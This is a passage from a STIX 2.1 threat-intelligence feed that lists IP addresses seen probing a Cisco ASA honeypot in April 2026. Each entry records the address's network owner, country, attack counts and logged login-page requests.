      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--81bc11ca-07ed-4350-b5aa-3952d4357f47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:20:10.000Z",
      "valid_until": "2026-05-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-25T00:10:29.758Z",
          "last_seen": "2026-04-28T02:37:40.247Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--567ba472-af0b-4e0b-9f42-77dc97d2a0d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.84.141.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:20:10.000Z",
      "valid_until": "2026-05-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-26T05:31:46.386Z",
          "last_seen": "2026-04-26T05:31:49.687Z",
          "country": "Singapore",
          "country_code": "SG",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--fa7f45ac-c493-4ac9-82a8-0479e571af5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.89.246.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:20:10.000Z",
      "valid_until": "2026-05-28T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-26T05:32:54.947Z",
          "last_seen": "2026-04-26T05:33:10.366Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--efa16785-05e8-4162-a92b-9709ebda2e11",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T12:20:10.000Z",
      "valid_until": "2026-05-28T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T11:51:14.088Z",
          "last_seen": "2026-04-26T11:51:14.088Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--12d9962d-9852-41c8-9ef1-4aac7de50aba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T12:20:10.000Z",
      "valid_until": "2026-05-28T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T11:51:13.566Z",
          "last_seen": "2026-04-26T11:51:13.566Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--520ad461-38e6-4828-961d-44e8363a55a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T13:20:10.000Z",
      "valid_until": "2026-05-28T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-26T12:33:36.343Z",
          "last_seen": "2026-04-30T03:28:21.218Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.129.187.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T13:20:10.000Z",
      "valid_until": "2026-05-28T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-26T12:51:14.152Z",
          "last_seen": "2026-04-26T12:51:17.155Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.well-known/security.txt HTTP/1.1\" 404 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--eeccacf6-1498-47c2-8478-ec5a5cd0b490",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T14:20:10.000Z",
      "valid_until": "2026-05-28T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T14:10:25.553Z",
          "last_seen": "2026-04-26T14:10:25.553Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--33928a4d-7a40-40b0-8ad2-7ca07fd899a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:20:10.000Z",
      "valid_until": "2026-05-28T19:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T18:24:14.471Z",
          "last_seen": "2026-04-26T18:24:14.471Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--796acbfa-3386-45b1-9d47-f3e000c56f24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:20:10.000Z",
      "valid_until": "2026-05-28T19:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T18:29:09.676Z",
          "last_seen": "2026-04-26T18:29:09.676Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--4ee30982-c395-4e00-9d67-935680ec95c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:20:10.000Z",
      "valid_until": "2026-05-28T19:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T18:27:09.727Z",
          "last_seen": "2026-04-26T18:27:09.727Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--9657815e-65a9-4515-8b4a-312dbb9e0e54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:20:10.000Z",
      "valid_until": "2026-05-28T19:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T18:27:13.943Z",
          "last_seen": "2026-04-26T18:27:13.943Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PH; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--b5a667a5-1973-4a7b-aa5f-fcf46e525154",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.154.32.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:20:10.000Z",
      "valid_until": "2026-05-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-26T20:03:39.350Z",
          "last_seen": "2026-04-26T20:04:22.067Z",
          "country": "Philippines",
          "country_code": "PH",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 16276 (OVH SAS)",
      "id": "indicator--873e143d-2f78-4114-96b1-d1ad29a10272",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '51.254.49.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:20:10.000Z",
      "valid_until": "2026-05-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T19:50:09.082Z",
          "last_seen": "2026-04-26T19:50:09.082Z",
          "country": "France",
          "country_code": "FR",
          "asn": 16276,
          "as_org": "OVH SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--31950fdd-47c7-4e71-899e-a7ac8c0f035d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:20:10.000Z",
      "valid_until": "2026-05-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-26T19:39:35.993Z",
          "last_seen": "2026-04-26T19:39:53.733Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--648eaacf-439d-4531-a704-0df47060fd00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:20:10.000Z",
      "valid_until": "2026-05-28T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T20:17:46.267Z",
          "last_seen": "2026-04-26T20:17:46.267Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--406ccc66-5572-420f-a0e5-ef28ff6ca8a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:20:10.000Z",
      "valid_until": "2026-05-28T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T20:22:11.127Z",
          "last_seen": "2026-04-26T20:22:11.127Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--c206b923-4b51-4bae-ab54-b2358489c453",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:20:10.000Z",
      "valid_until": "2026-05-28T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T20:20:14.269Z",
          "last_seen": "2026-04-26T20:20:14.269Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--05ed3d73-1ca4-4b57-ba47-294205baed31",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:20:10.000Z",
      "valid_until": "2026-05-28T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T20:20:11.473Z",
          "last_seen": "2026-04-26T20:20:11.473Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: UA; ASN 211736 (FOP Dmytro Nedilskyi)",
      "id": "indicator--d66dd694-67b9-43cc-b0b2-3a700261138f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:20:10.000Z",
      "valid_until": "2026-05-28T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 87,
          "first_seen": "2026-04-26T20:39:43.086Z",
          "last_seen": "2026-04-27T05:02:07.695Z",
          "country": "Ukraine",
          "country_code": "UA",
          "asn": 211736,
          "as_org": "FOP Dmytro Nedilskyi",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--d4fad27c-226d-4466-9eee-a2c134d7332e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '13.86.104.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T23:20:10.000Z",
      "valid_until": "2026-05-28T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-26T23:10:30.217Z",
          "last_seen": "2026-04-26T23:10:33.219Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--0301bdac-ef44-442f-bb6b-0bd9acc2a23f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.92.239.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
